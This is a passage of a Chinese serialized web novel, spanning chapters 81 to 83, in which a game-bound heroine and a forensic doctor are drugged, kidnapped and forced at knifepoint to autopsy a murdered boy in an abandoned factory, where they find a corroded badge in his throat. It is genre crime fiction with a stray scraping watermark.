从整形医生到法医,虽然都是“医”,但其中的跨度未免也太大了些。
祝好向他投去好奇的目光:“那你怎么会选择当法医呢?”
温珣双手稳稳地把着方向盘:“两个原因吧,首先我对美丑这件事并不敏感,换句话说,我觉得每个人都有独属自己的美,没必要为了迎合谁的眼光而去做出改变。”
又补充道:“我对整形没有偏见,毕竟整形不只是为了变美,还可以让那些因为先天缺陷或后天意外的人的生活得到极大改善,不过我妈妈已经是很很厉害的整形医师了,手下还有一大批优秀的学生,不缺我一个。”
祝好问:“另一个原因呢?”
温珣一本正经道:“当法医不会有医患纠纷。”
祝好:“……”
不愧是法医,连笑话都那么冷。
今天不是休息日,商场里人不多,显得有些空荡荡的。
站在宽阔的商场中庭,祝好转头问温珣:“你妈妈喜欢什么呢?”
“这个嘛……”温珣不好意思地笑了一下:“我也不是很清楚,所以才想着请你来帮我参考一下。”
祝好想了想:“你有你妈妈的照片吗?”
温珣点点头,从风衣口袋里掏出手机,点开一张合影递给她:“这是去年圣诞节我跟她的合影。”
照片里的女人身穿一套合身的黑色连衣裙,面容旖丽,一头乌发随意扎着,有几缕散落在耳边,笑起来眉眼微微上挑,可以看出温珣那双桃花眼就是遗传自她了。
祝好环视商场一圈,目光定格在一家饰品店。她没有太多给妈妈送礼物的经验,不过想来,首饰应该是不会出错的选择。
站在门口的店员哈欠刚打到一半,看到有客人进来,立刻换上一副职业的微笑:“欢迎光临,请问想看些什么?”
祝好目光在琳琅满目的玻璃柜台里逡巡片刻,指着一枚蝴蝶兰形状、花心部分镶嵌着红宝石的胸针上:“这个怎么样?优雅大方,跟你妈妈的气质很搭。”
店员连忙附和:“小姐眼光真是不错,这枚胸针是纯手工制作的,中间镶嵌的是天然红宝石,蝴蝶兰又寓意着幸福和美好,很适合送给长辈。”
说完戴好手套,小心翼翼地把胸针从玻璃柜里拿出来,放在木质的托盘上。
饰品店里有一整面装饰的玻璃墙面,祝好抬眼的瞬间,正好对上墙面上反射出来的一双眼睛,她心一紧,下意识扭头看向店门外。
温珣循着她的视线看去,问她:“怎么了吗?”
门外空无一人,仿佛刚刚只是她的错觉。祝好抽回目光,摇了摇头:“没事。”
温珣拿起胸针端详了一会儿,连价格也没问,就说:“就这个吧,麻烦帮我包起来,谢谢。”
祝好愣了一下:挑选礼物的任务这么快就结束了吗?她甚至还没找到提升好感度的机会呢。
拎着包装好的胸针走出商场,回到车旁,温珣突然问:“祝好,你今天还有什么别的事要忙吗?”
祝好摇头:“没有。”
“我知道有个展馆有很特别的巡回展,你要不要——”
能有更多相处的机会,祝好简直求之不得,甚至没问他是什么展览就一口答应下来:“好啊,一起吧。”
*
半个小时后,站在城郊一家展馆门前,闻着熟悉的福尔马林味,祝好的嘴角抽了抽:“这是……”
温珣笑着解释:“这是一个名为‘生命的艺术’的巡回展,会有很多不同形态的人体标本展出,我一直想找机会来看看。”
祝好:“……”
工作时天天跟尸体打交道,没想到休假了,休闲娱乐的项目还是来看尸体。
虽然心里一万个不情愿,不过都已经到这儿了,现在反悔也不太好,祝好只能跟着他往展馆里走。
展馆内部虽然灯光明亮,但里面全是形态各异的人体标本,还有泡在福尔马林的脏器和完整的骨骼,无端增添了一丝阴森的气息。
加上这个主题的展览实在不符合普通人的喜好,所以里面的观众是少之又少,偌大的展厅里加上他们就只有寥寥几人。
温珣一路走,一路给祝好做讲解:“这些是从胚胎到婴儿形态的标本,这是很罕见的连体婴的解剖,他们共享同一个心脏,还有这个——”
他自顾自地指着玻璃展柜里由无数弯曲缠绕的红色细线组成的一个人体,感慨道:“这是人体所有的动脉血管,居然能做到全剥离式地呈现出来,简直就是艺术品。”
祝好有些心不在焉,敷衍地附和了几句,不动声色地四处张望着。
从在饰品店开始,她就总觉得有一道目光在跟随他们,可每次回头,身后的人要么就是在看别处,要么就是根本没人,仿佛一切都只是她的错觉。
“祝好,这个展览对你来说是不是挺无聊的?”
温珣的话让她抽回神思,连忙摇头:“不是不是,挺有趣的,不过——”
看她微微皱眉,温询问:“怎么了吗?”
她回神笑了笑,摇头道:“没事,可能是我多心了。”
“真没事?”
“没事。”她弯下腰看着玻璃柜里的大脑切片,岔开话题:“温珣,你长得那么帅,家境又那么好,为什么会没谈过恋爱啊?”
温珣耸了耸肩,摆出一副无可奈何的表情:“工作太忙了,天天泡在解剖室,里面根本没人会正眼看我。”
祝好:“……”
这个冷笑话让展馆的温度又下降了一些。
温珣镜片后的眼角弯了弯:“开玩笑的,像我们这个职业,没有固定的上下班时间,每天还要跟各种各样的尸体打交道,很多人都会觉得膈应。不过跟你在一起真的很开心,你跟我平时接触的人都不一样,总是那么有活力”
“你平时接触的……”祝好顿了顿:“不都是尸体吗?”
——有活力的话,那可就不得了了。
两人对视一眼,没忍住笑出声来。
离开展馆时,天已经黑了。
时间接近七点钟,展馆差不多到了闭馆的时间,里面的观众也所剩无几,昏暗的停车场里更是空无一人。
走到车边,祝好想起来自己还没告诉程述今晚不回去吃饭的事,便从挎包里掏出手机,刚拨通电话,就看到温珣皱眉“咦”了一声,接着蹲下身查看车轮。
祝好问:“怎么了吗?”
温珣捻着下巴,有些疑惑:“奇怪,车胎怎么会漏气呢?”
祝好还没来得及搭话,电话就接通了,听筒里传来程述懒洋洋的声音:“喂?干什么。”
“老大,我——”
话说到一半,祝好却顿住了,余光看到似乎有两个黑影在朝这边靠近,心里一咯噔,身上的汗毛登时立起一片,连忙扯了扯温珣的衣袖。
然而一切发生得太快,她甚至没有反应的时间,一只粗糙的大手就捂住了她的口鼻,紧接着颈侧传来一阵细微的刺痛,像是被什么东西叮了一下。
祝好脑袋里的警铃瞬间被拉响,下意识想要挣扎,却发现四肢一阵僵麻,手机也“啪”一下摔在地上。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
80-90
第81章
“祝好,祝好。”
祝好猛地掀开眼皮,大口喘息了一阵,下意识应了一声,忽然觉得浑身传来一阵刺骨的冰凉。
“你还好吗?”
眼前天旋地转的眩晕感逐渐消失,四下还是一片黑,她扭动僵直的脖子循声望去,看到不远处的水泥柱旁坐着个熟悉的身影。
“温珣?”她晃了晃脑袋,试图理清混
乱的思绪:“这……这是哪儿?”
温珣压低声音:“看起来像是个废弃的工厂。”
“工厂?”
祝好心里一激灵,瞬间清醒不少,这才打量起自己身处的环境——借着黯淡的月光,可以看到四面高耸的围墙,到处充斥着残砖断瓦、破损的管道和各式各样的垃圾,角落里有棱有角、黑黢黢的影子应该是之前遗落的机器设备——这儿的确是个废弃工厂,而且废弃的时间不短,看样子已经很久没有人来过了。
秋风萧瑟,吹得外面大片树林沙沙作响。这时候,她才后知后觉浑身的湿冷和黏腻,来源于身上渗出的一层没被深秋的冷风吹干的细汗,想要挣扎起身,却发现双手双脚都被麻绳死死捆住,浑身一丝力气也没有。
心下一惊,再凝神看向温珣,发现他垂着脑袋靠坐在水泥柱旁,双手也被反绑在身后。
到底发生了什么?
祝好记忆中的最后一个画面,是视线中漆黑如墨的天空,两张戴着面罩的脸居高临下看着她,其中一个粗旷的声音问道:“这个搞定了吗?”
当时她想张嘴叫温珣,却只是脑子动了动,全身的肌肉仿佛僵住了,根本无法动弹,随之而来的,是意识逐渐沉入漫无边际的黑暗中。
中途她模糊醒过一次,却连睁眼的力气都没有,只感觉到身下的颠簸、还隐约听到车轮碾压路面的声音。
没等她分辨出个所以然,意识又不受控制地滑入深渊。她仿佛沉进了一片深不见底的深海里,咸腥的海水灌满胸腔,她却没法挣脱,只能眼睁睁看着自己被海水淹没……
再然后,就是温珣把自己叫醒。
早些醒来的温珣逐渐摸清了状况,沉声道:“祝好,我们应该是被人绑架了。”
绑架?难道是新的剧情又开始了吗?
祝好突然想到颈侧挨的那一针,猜测十有八九又是什么麻醉剂一类的东西,连忙唤出控制面板,点开自己的资料,体力值果然又归零了。
她深吸一口气,把声音压得很低:“温珣,你的手机呢?还在你身上吗?”
“我也不确定。”温珣有些为难,他没有力气动弹,根本摸不到口袋。
祝好想了想,点开商城,斟酌片刻,先用20积分兑换了20点体力值——手脚被捆着,就算体力值全满也根本无法逃脱,不如把积分留着应对接下来的情况。
随着“已成功兑换20点体力值”的提示音在耳边响起,祝好终于恢复了些许力气,十分钟的倒计时也开始了。
她吃力地把被反捆在身后的双手撑在地面,支着身子朝着温珣的方向挪动,好不容易离他近了些,却听到工厂外有一阵发动机的声音由远及近。
有人来了。
“操,不是让你看着他们吗?你怎么跑外边来了。”
是一个男人的嚷嚷,声音有些粗旷。
在祝好的意识消失之前,也听到过这个声音,看来这两个就是在停车场用麻醉剂把他们放倒的人。
紧接着是个稍尖利的男声:“我出来透口气、抽支烟而已,怕什么,药效猛着呢,而且手脚都捆得那么牢,怎么跑得了?”
“你特么的,真是一点都不靠谱。”粗嗓门“啐”了一声,迈着大步往工厂里走来。
祝好心一紧,来不及思考他们绑架的用意,连忙加快移动速度挪到温珣身旁,问他:“温珣,你手机在哪儿?”
“应该在……”温珣顿了顿:“右边裤子口袋。”
祝好:“……”
该死,就不能放在风衣口袋吗?
她深吸一口气,默念了声抱歉,用活动范围有限的双手胡乱在他大腿处摸索了好一阵,手指终于触到了一块四方形的硬物,赶紧把他的手机从口袋里抽出来。
祝好还没来得及高兴,一束刺眼的强光突然扫到她脸上,她下意识扭头避开强光,下巴却被一只粗糙的大手擒住:“哟,你这小妮子,力气恢复得还挺快。”
是那个粗嗓门的男人。
“别碰她!”温珣挣扎着想要起身,却因为体力不支又倒在了地上。
“放心吧,我不碰她,我是冲你来的。”粗嗓门冷笑一声,轻而易举就从祝好手里夺下手机,“啪”地扔在地上,用军靴的鞋尖把屏幕碾了个稀碎,然后半蹲在地上,闪着精光的眼神透过面罩,上下打量着倒在地上的温珣:“你是温珣,没错吧?”
温珣大口喘息,问道:“你是谁?”
粗嗓门把他从地上扶起来,又帮他把滑落的眼镜架回鼻梁上,轻轻拍了拍他的脸:“不用管我是谁,只要你们乖乖听话,就有机会活命。”
“大哥,什么情况?”那个声音略尖利的男人也匆匆忙忙回来了,从身形上看,他瘦瘦高高的,身上还带着一股浓重的烟味。
粗嗓门扭头呵斥:“还什么情况,不是让你记得把他们的手机都扔了吗?特么的,真是成事不足,败事有余!”
瘦高个儿挨了骂,怔了怔,说话也有些磕巴:“麻、麻醉剂的药效会那么快吗?不应该啊。”
粗嗓门抬手看了下表:“药效应该还没过,可能是这小妮子的量给少了,再让他们歇会儿。”
说完仔细检查了祝好和温珣口袋里的东西,确认他们手脚上的绳子没有松动,接着把祝好拖回了原来的位置,对着瘦高个儿摆了摆手,两人一起走到角落里的废弃器械上坐下了。
体力值的十分钟有效期一过,祝好的身体又瘫软了下来,好在大脑还能正常运转。
粗嗓门刚才说他们是冲着温珣来的,难道是知道他家境不错,想向他妈妈索要赎金吗?
思忖片刻,她很快就否定了这个猜测。
温珣就算家境好,也比不上那些做生意的人,况且他身高有一米八出头,为了赎金绑架这么一个成年男性,风险未免也太大了些。更何况不知为何把她也给带上了,这样风险就又增加了不少。
她打量着不远处的两个绑匪,比起瘦高个儿,粗嗓门的那个男人稍矮一些,但是体格很强壮,手臂上都是硬邦邦的肌肉。
温珣是学术派的,不像程述或者秦聿风那么擅长打斗,祝好自己就更不用说了,三个她都不一定打得过一个绑匪,所以靠武力取胜是不可能的,只能见机行事。
所幸从刚才的态度来看,他们并不是那种毫不讲理的悍匪,只要装作顺从的样子,尽量不表现出反抗情绪,他们应该不会对动粗。
想到这儿,她清了清嗓,尽量把自己的声线拿捏得柔柔弱弱的,向着不远处的两个绑匪低声交谈的喊道:“大哥,我好渴,可以给我点儿水喝吗?”
粗嗓门犹豫片刻,从脚下的塑料袋里拿了瓶水扔给瘦高个儿,朝他扬了扬下巴,示意他把水拿给祝好。
瘦高个儿拎着水在祝好面前蹲下,拧开瓶盖,把瓶口微微倾斜,伸到她嘴边。
象征性地喝了两口水,祝好瘪着嘴楚楚可怜地看着他那张被面罩覆盖的脸,声音里带了些哭腔:“大哥,你们把我们抓来干什么呀?我好害怕。”
说着还作势抽泣了几声。
瘦高个儿似乎被她出神入化的演技骗到了,语气也缓和了些:“别怕,我们只是受人所托,来请你
们帮忙办件事儿而已。”
祝好趁热打铁,追问道:“办什么事?”
瘦高个儿还没答话,就被粗嗓门打断了:“瘦猴,先别跟她废话。”
又远远指了指祝好,语气森冷生硬:“还有你,喝完水就赶紧闭嘴,我看你刚才拿手机那样儿,一点都不像害怕的样子。”
瘦猴噎了一下,回头看了看祝好,拎着水瓶又回去了。
不过就这么短短几句话功夫,祝好也大概摸清了两人的关系。
两个人中,粗嗓门应该占主导地位,相对来说更聪明些,没那么好糊弄;而那个瘦猴耳根子比较软,粗心大意,做事还有些马虎。
如果接下来有机会,可以从瘦猴这里下手。
祝好的肚子咕咕叫了起来,虽然这饥饿感来得有些不合时宜,但按照平时吃饭的时间、以及窗外漆黑的天空来推算,可以判断距离他们被从停车场掳走的时间并没有过去太久,应该也就是三个小时左右。
温珣平时独居,现在又在休假期间,这么短的时间内,大概率不会有人注意到他的失踪。
她虽然在被迷晕前还跟程述通过电话,可她实在不确定那家伙有没有注意到电话这头的异样,也没有把握他是否会在意自己的去向。
不行,与其等着别人发现,还不如想办法自救。
温珣的方向传来一些动静,祝好扭头看去,发现他已经能支起脑袋了,连忙点开控制面板查看自己的资料,发现体力值已经恢复到了40,说明麻醉剂的药效正在逐渐消失。
一阵手机铃声突兀地响了起来,打断了祝好的思绪。
粗嗓门接起电话,应了几声,然后走到温珣面前蹲下,从口袋里掏出一把弹簧刀,面罩后面的眼神里透着一股似笑非笑的神情:“温法医,头还晕吗?”
盯着他手里那把闪着冷光的刀,一股寒意顺着祝好的脊柱直窜上天灵盖,激起脑门上的一层细汗,颤声问道:“你们想干什么?”
“刚才不是说过了吗?”粗嗓门没有理会祝好,只是用刀背沿着温珣的下颌一路往下,最后停在他脚踝处的麻绳上,划动几下,割断了绳子:“没什么恶意,只是想请你们帮个忙。”
第82章
温珣眼角眉梢都写满了戒备:“帮什么忙?”
“当然是需要用到你专业的忙。”粗嗓门给瘦猴使了个眼色,两人一左一右把他从地上架起来。
瘦猴用下巴指了指地上的祝好,问粗嗓门:“哥,这妮子怎么办?”
粗嗓门想了想,从口袋里掏出弹簧刀扔给他:“把她带上吧。”
看着瘦猴隔断自己脚踝上的麻绳,祝好心里燃起一丝希望,眼珠子骨碌碌转了一圈,正盘算着要怎么脱身,就听到粗嗓门说:“你看好她,如果她敢耍什么花招,你就——”
说着朝瘦猴做了个抹脖子的动作。
祝好头皮发麻,“咕咚”咽了口唾沫。剧情这才走了这么点儿,她可不想自己的小命交代在这儿,于是决定装作乖乖听话的样子、暂时先按兵不动。
粗嗓门打着手电筒、架着温珣往工厂外走去,瘦猴领着祝好跟在后头。
刚踏出工厂门口,冷风就呼啸着扑面而来,顺着祝好针织衫的缝隙往里钻。她冷不丁打了个寒颤,四下一张望,心也登时凉了半截——工厂外墙破败不堪,周围杂草丛生,一看就是荒废很久了,平日里根本不会有人来,更别说向谁求救了。
工厂旁边停着一辆黑色皮卡,牌照被遮起来了,应该就是两个绑匪的车。
本以为绑匪会开车把他们带到哪儿去,没想到他们只是穿过一片小树林,绕到了工厂后面。这里有一排砖房,看起来像是员工宿舍,不过从砖墙上的爬山虎和墙边堆积的杂物来看,已经很久没人住过了。
粗嗓门掏出钥匙打开其中一间宿舍的门,伸手在墙上摸索片刻,揿亮了灯。
惨白的灯光突然亮起,习惯了黑暗的双眼一时有些不适应,祝好闭着眼缓了一阵,刚睁开眼,屋子中央一具发白的尸体就猝不及防闯入视线,吓得她下意识往后退了一步。
——之所以说是尸体,是因为他全身皮肤白到发青,身上也没有任何呼吸带来的起伏,衣服上还沾了不少杂草和泥土,看上去像是被人从土里刨出来的。
她从牙缝中倒吸了口气,即使心里已经有了差不多的答案,还是忍不住问:“他……他还活着吗?”
没等粗嗓门和瘦猴作答,温珣就率先开口:“没有生命体征,目测已经死亡一段时间了。”
祝好这才小心翼翼把视线挪到那张毫无血色的面孔上,这是个年纪不大的男孩子,估摸着也就十三四岁的模样,口鼻周围有溃烂的痕迹。
那具尸体旁放着一些简易的工具:几把尺寸不一的钳子、剪子和解剖刀,还有一盒橡胶手套。
粗嗓门扣好门上的锁,把钥匙放进口袋里,转身笑了起来:“温法医真不愧是专业的,看来我们没请错人。”
温珣眉头紧拧,踱步到尸体跟前打量了一番:“这孩子怎么死的?”
粗嗓门一脸和颜悦色地拍了拍他的肩膀:“我如果知道,还需要你干什么?请你来,就是想让你帮我查明他的死因,以及有没有什么不寻常的地方。这里条件跟你们专业解剖室没法比,工具也不算齐全,但也应该够你用了吧?”
祝好听懂了,他们绑架温珣的目的,就是想让他帮忙解剖这具尸体,查明死因。她想了想,问了一嘴:“想进行尸检,为什么不直接报警?”
粗嗓门斜了她一眼,仿佛她问了一句蠢话:“这就不需要你操心了,你把嘴闭上就行。”
说着割开了温珣手腕上的绳子,抬了抬手:“温法医,开始吧。”
温珣扭动僵麻的手腕,与祝好对视一眼,读懂了她眼神里的意思,说道:“我还需要一个助手。”
粗嗓门冷冷地笑了一声,一脸的“我有那么好骗吗?”:“你下一句是不是想说,让我们把这小妮子松开,让她当你的助手?”
话刚落音,他又忽地敛起笑容,飞快地绕到祝好身后,钳住了她被反捆着的胳膊。一把冰凉的刀刃飞快压住祝好的咽喉,她登时僵在原地,浑身的血液呼啸着涌上颅顶。
身后响起粗嗓门阴恻恻、似笑非笑的声音:“温法医,你别想着跟我玩什么花招,最好乖乖按我说的去做,不然我可保证不了这小妮子的安全。”
温珣也被他突如其来的举动吓得脸色煞白,连忙举起双手:“行,我按你说的做,你、你别伤害她。”
粗嗓门双眼死死盯着他,手上的力道未减分毫,祝好大脑一片空白,全身紧绷得厉害,所有感官神经都集中在颈间那一抹凉意上。
一时间,逼仄的房间里安静得可怕。
半晌后,粗嗓门才难以自抑地轻笑一声,打破了诡谲的沉默,把刀从祝好颈间移开,用刀背轻轻划过她的侧脸:“别紧张,我是逗你们玩儿的呢。”
又朝着瘦猴扬了扬下巴:“瘦猴,你去帮他。”
瘦猴一愣,眼神在粗嗓门的脸上和尸体之间飘来飘去,有些踟蹰:“大哥,我……”
粗嗓门不耐烦地往他屁股上踹了一脚:“别啰嗦,快去。”
瘦猴没站稳,往前趔趄了几步,险些扑倒在尸体身上。站定后,他咽了下口水,不安地搅动手指,向着温珣问道:“我、我要做什么?”
温珣没答话,喉结轻滚,垂在身侧的双手握着拳,直到祝好强忍恐惧给他递了个“我没事”的眼神,才做了个深呼吸,似乎是强迫自己镇定下来,然后从盒子里抽出两只手套戴上:“我会
先对死者进行尸表检查,你负责做记录。”
瘦猴闻言松了口气,点点头,掏出手机:“你说,我记。”
“等等。”粗嗓门突然打断他,掏出一副耳机戴上,然后用手机拨通了一个号码。
祝好微微偏头,刚窥见屏幕上的几个数字,颈间的刀突然又贴近了些,吓得她浑身一颤,不敢再动。
电话接通,粗嗓门沉着调“喂”了一声,才扬了扬下颌,示意温珣开始。
温珣定了定神,从桌上那堆工具中拿起一把剪刀,小心翼翼地剪开男孩身上的衣服——一件本应该是白色、却被泥泞和杂草弄得污浊不堪的长袍,露出他已经毫无血色的躯体。
他伸出两只手指,轻轻按压男孩有些肿胀的腹部,又查看了他的四肢和手足:“死者的死亡时间大概在两天以前,四肢有多处挫伤、淤青,右手食指、中指骨折,生活反应明显,可以断定均为生前伤。”
说完对瘦猴道:“戴上手套,帮我搬动一下尸体,我要检查他的背部。”
这似乎还在瘦猴的承受范围,他没说什么,戴手上套,跟温珣把男孩的尸体翻了过来。
“背部和臀部的拖拽痕迹很明显,也是生前造成的。”
粗嗓门不满地皱眉:“说点我能听懂的。”
温珣抬起眼皮瞥了他一眼,斟酌片刻,说道:“这孩子生前遭到过殴打、拖拽,手臂上有抵抗伤和约束伤,说明他曾经激烈地反抗过。”
粗嗓门扶着耳机,像是凝神听着什么,然后开口问:“他是被活埋的吗?”
温珣掰开男孩的嘴巴观察了一会儿,摇了摇头:“嘴里和鼻腔没有太多尘土,他是死后才被埋起来的。不过他口腔内部和嘴角有溃疡,看起来像是服用了某种强腐蚀性的液体。结合他身上的伤痕来看,多半是被人强迫的。”
“死因是什么?”
温珣说:“尸表检查看不出来,我需要对尸体进行解剖。”
粗嗓门顿了几秒,又问:“解剖之后,尸体还能复原吗?”
“我尽量。”
他沉吟片刻,点头说:“那行,你开始吧。”
温珣从桌上拿了把解剖刀,将尸体的皮肤从颈部道耻骨联合处划开,露出了胸骨和脏器。
屋里的门窗都被锁上了,空气并不流通,一股难以言喻的气味迅速在狭小的空间里蔓延开来。
离得最近的瘦猴露出一个极其痛苦的表情,两眼往上一翻,转身冲到窗前手忙脚乱打开窗,扒在窗沿上吐得稀里哗啦,差点儿连面罩都来不及扯开。
温珣面不改色挑了挑眉,朝着粗嗓门问道:“你们没准备口罩吗?”
粗嗓门虽然戴着面罩,但看着那不停滚动的喉头,也没比瘦猴好到哪儿去。他愣了一下,摇了摇头。
温珣提醒:“那待会儿的气味可能会更难闻,你们忍一忍。”
瘦猴吐了好半天,刚把脑袋从窗外收回来,一股更强烈的气味顷刻间扑面而来,他喉头一翻,又转身吐了起来。
这回连祝好都没差点忍住,然而她的双手被绑住,甚至没办法捂住口鼻,只能屏住呼吸、闭上眼睛,试图屏蔽视觉和嗅觉的双重刺激。
温珣停下了动作,视线在他们脸上扫了一圈,贴心地向粗嗓门提出了建议:“这个味儿确实有点冲,要不这样,你们留个人帮我,其他人出去透透气吧。”
一听他这么说,瘦猴率先缴械投降,朝着粗嗓门哀求道:“哥,对不住,我实在受不了了,我、我得出去……”
话还没说完,又用袖子遮住嘴干呕了几声。
粗嗓门嫌弃地用手在面前扇了扇风,从口袋里掏出钥匙扔给瘦猴。
瘦猴如获大赦,赶紧接过钥匙把门打开,贪婪地呼吸着新鲜空气,好一会儿才缓过来。
粗嗓门又把祝好推出门外,交代瘦猴:“我留在里面帮忙,你看好这小妮子。她精得很,你别跟她说话,更别让她跑了。”
想了想,又说:“万一他们其中一个人敢耍花招,就把另一个给杀了。”
第83章
祝好并没有逃跑的打算。
理由很简单:瘦猴个高、腿长,论速度自己是一定落下风的,更别提她的双手还被反捆着,连最基本的平衡都很难保持。
再者,就算自己真的成功逃跑了,依照粗嗓门那阴晴不定、喜怒无常的性格,指不定会迁怒于温珣。她虽然不想死,但也不希望他人因为自己而陷入危险。
想到这儿,她主动靠着墙坐了下来,仰头看着瘦猴,跟他套起了近乎:“大哥,你也是第一次接触这种东西吧?真够吓人的。”
瘦猴不知从哪儿找了瓶矿泉水,掀起一半面罩,咕噜咕噜漱完口,才说:“吓人倒不吓人,不就是个死人嘛,主要是这味儿太大了,普通老百姓哪受得了。”
还“普通老百姓”呢,普通老百姓会绑架法医来给一具身份不明的尸体验尸吗?
祝好把吐槽咽了回去,半搭茬半套话:“就是,要不是没吃过晚饭,我都差点儿要吐了。对了,大哥……”
她本来想问几点钟,但又担心引起瘦猴怀疑,于是不动声色地换了个问法:“这大晚上的,野外还有点冷呢。”
瘦猴一看就是个单身狗,没有任何怜香惜玉的意思、更没想过给祝好拿件外套,只是瞥了她一眼,随口道:“等太阳出来就好了。”
祝好“哦”了一声:“那还要多久啊?”
“三四个小时吧。”
祝好心里有底了:按照秋天的日出时间来算,现在约莫是凌晨两三点左右。
她转动脖子,把周遭的景物的收进眼底,尽量不放过任何一个角落——万一待会有机会逃脱,回到警局还能靠剧情回顾想起一些可能被遗漏的细节。
除了工厂伫立的大烟囱外,目之所及皆是幢幢的树影,再往远了看去,是几座黑黢黢的山体和天空中稀疏的星光,以及半轮清冷的月亮。
祝好再次感慨了句:这破地方可真够偏僻的,能一路跟踪、并瞅准时机把他们绑到这儿,说明绑匪十有八九是提前踩好点、做好了准备。
周围很安静,只有持续不断的虫鸣和一两声怪异的鸟叫从茂密的野树林中传出。隔着一堵墙,屋里粗嗓门时不时干呕和清嗓的声音格外清晰,看来法医助理的工作也不是那么简单的。
解剖一具尸体至少也要花上好几个小时,祝好靠坐在墙上,心念转得飞快:既然都是等,何不趁这个时候,想办法从瘦猴嘴里撬出点线索来?
瘦猴看她乖乖坐着,逐渐放松了警惕,从口袋里掏出一包烟,抖出一支叼在嘴里。
“大哥。”祝好突然开口叫他。
瘦猴叼着烟,含糊不清地“嗯?”了一声。
“那孩子,”祝好顿了顿,斟词酌句问道:“是你们认识的人吗?”
“不——”话到嘴边,瘦猴像是突然想起了粗嗓门的叮嘱,陡然间变了个调:“不关你的事,别多问。”
祝好叹了口气,泛起一个半酸不苦的笑:“我就是觉得他太可怜了,看样子,应该还在上中学呢。无冤无仇却被人用那么残忍的方式杀害,他家人一定很难过吧?”
瘦猴没吭声,掏出火机“嚓”一声点燃了叼在嘴里的烟。
借着转瞬即逝的亮光,祝好并没有在他脸上看到任何波澜,说明他并不对这个孩子的死感到悲伤或是惋惜。
难道这个孩子的死是他们所为?
这个念头只在脑海中闪过一瞬,就被祝好排除了。
如果事情跟他们有关系,他们不可能不知道这孩子是怎么死的,更没必要大费周章、冒着巨大的风险把温珣绑架到这儿来给他做尸检、查明死因。
粗嗓门在尸检之前拨出去的那个电话,很明显,他是在跟什么人保持通话,并且一直在按他指示的去做。
可那个人的目的究竟是
什么?这个孩子,跟他又是什么关系呢?
她又想到,粗嗓门曾经向温珣询问解剖之后是否能将尸体复原——一般来说,对待尸体的方式,也能反应出凶手对受害者的感情。
把尸体剖开、又特地问能否复原,这样的行为表现出了对受害者的关爱。然而男孩身上的种种伤痕,又表明他生前增遭受过虐待。
到底怎么一回事?
祝好心下疑窦丛生,看向瘦猴,刚想接着问点什么,门突然“砰”一声被撞开,粗嗓门跌跌撞撞从屋里冲出来,唰地扯开脸上的面罩,扶着墙吐出了飞流直下三千尺的气概。
瘦猴嘴里的烟差点没叼稳,愣了一下,赶紧过去架住他:“哥,你没事……呕!”
关心的话还没说完,他也被顺着门缝飘出来的气味呛得干呕一声,赶紧把门给关上了。
粗嗓门吐好一会儿才缓过来,朝地上啐了几声,大口喘着粗气。
他铁青着脸接过瘦猴递来的半瓶矿泉水漱完口,骂了句粗口:“特么的,受不了了,这活儿可真不是人干的。”
说着又冲瘦猴指了指祝好:“把她解开,让她进去帮忙。”
机会来了!
祝好心中一喜,脸上却表现得很为难。为了演得逼真点儿,她往墙角缩了缩,硬生生挤出两滴泪花,嗫嚅道:“大哥,我也害怕死人,能不能不进去?”
粗嗓门不耐烦地一挥手:“别废话,赶紧进去,解剖完后记得把结果一字不拉告诉我。”
说完给瘦猴递了个眼神:“我去守着窗子,你守着门,如果他们敢耍小心思,就让他们永远都离开不了这里!”
瘦猴在原地怔了片刻才反应过来,把祝好从地上拎起来,掏出小刀割开了她手腕上的绳子,打开屋门,一把将她推进去,忙不迭关上了门。
祝好踉跄几步,听到身后传来“咔嗒”上锁的声音,这才暗暗松了口气。
温珣见进来的是她,脸上交织着惊喜和担忧,赶紧脱下手套,走上前一把薅住她的肩膀,将她上下打量一番:“祝好,你没事吧?”
“没——呕!”祝好话还没说完,就被屋里充斥的臭味熏得头晕脑胀。
那气味……怎么形容呢——就像是几摞臭鸡蛋在封闭的下水道里放了几天几夜,比刚才出去前还要浓烈成百上千倍,难怪连粗嗓门都无法忍受。
温珣冲她露出一个有些得意的笑,附在她耳边轻声道:“现在气温虽然不高,但尸体在湿润的土壤里埋了一天多,体内充满了腐败气体。刚才为了逼他离开,我故意切开了盲肠,气味有点难闻,你忍忍。”
怎么忍,忍不了一点儿。祝好感觉自己随时都要撅过去,捏着鼻子问他:“你查明他的死因了吗?”
温珣点头:“他被灌入了强腐蚀性的液体,不过他并不是被毒死的,而是那些液体腐蚀了他的气管,导致他窒息而亡。”
祝好心一凛:不但被殴打、施虐,还被灌下腐蚀性液体致死,谁会对一个孩子那么残忍?
耳边突然响起“发现隐藏线索”的提示音,那个小小放大镜图标又一次出现在祝好眼前,并且不停闪烁。
位置是……被剖开的尸体。
祝好忍着恶心,眼神刚触到被剖开的腹腔里那些溃烂的脏器,就飞快地收回——太可怕了,法医真不是普通人能做的。
但是为了线索,她不得不又一次强迫自己把目光移回去。
放大镜闪烁的位置是喉部,祝好扯起针织衫的领子捂紧口鼻,眯着眼凑近了一些,发现尸体的一截食管似乎被什么东西卡住了。
她扯了扯温珣的袖子:“温珣,你看这是什么?”
温珣下意识跟着她的话音很认真地看了一眼,重新拿了副手套戴上,小心翼翼地用解剖刀切开了那截食管,用镊子夹起一枚圆形的、跟硬币差不多大的金属徽章。
徽章上似乎有个什么图案,但表面被灌入喉咙的强腐蚀性液体给腐蚀了,只能依稀辨认出一个“8”。
正常情况下,人应该不至于吃掉这东西,所以这枚徽章要么是被人强行塞进嘴里的,要么就是这孩子为了留下线索,自己吞下去的。
虽然发现了隐藏线索,但祝好不但没能琢磨出个所以然,反而觉得真相愈加扑朔迷离了。
她转头问温珣:“温珣,你说他们为什么不报警呢?”
温珣平时只管做尸检、并把结果反馈给秦聿风,查案、破案并不在他的职责范围内,遇到这种需要推理的问题,他也一时有些摸不着头脑,只能靠直觉去推测:“我也想不明白,或许……这个孩子的死有什么见不得人的秘密?”
祝好捻起徽章,放在灯光下端详片刻:“还有一个可能,也许之前发生了什么事,让他们对警察不再信任。”
温珣拿了一只新的手套,让她把那枚徽章放进去,正要把手套扎好,门就突然被拍响了。
粗嗓门骂骂咧咧的声音传进屋里:“别磨磨唧唧的,快好了吗?”
温珣朝着门外喊了句:“还需要一点时间,要不你们进来看看?”
不出所料,粗嗓门果断拒绝了:“不看了,你们赶紧的。”
门外又静了下来,但窗子上映出瘦长的、不停晃动的身影却表明他们并没有离开,仍在寸步不离地守着。
外面的天空逐渐从浓重的黑色过渡成丝绒般的深蓝,天快要亮了,祝好内心却开始泛起焦灼。
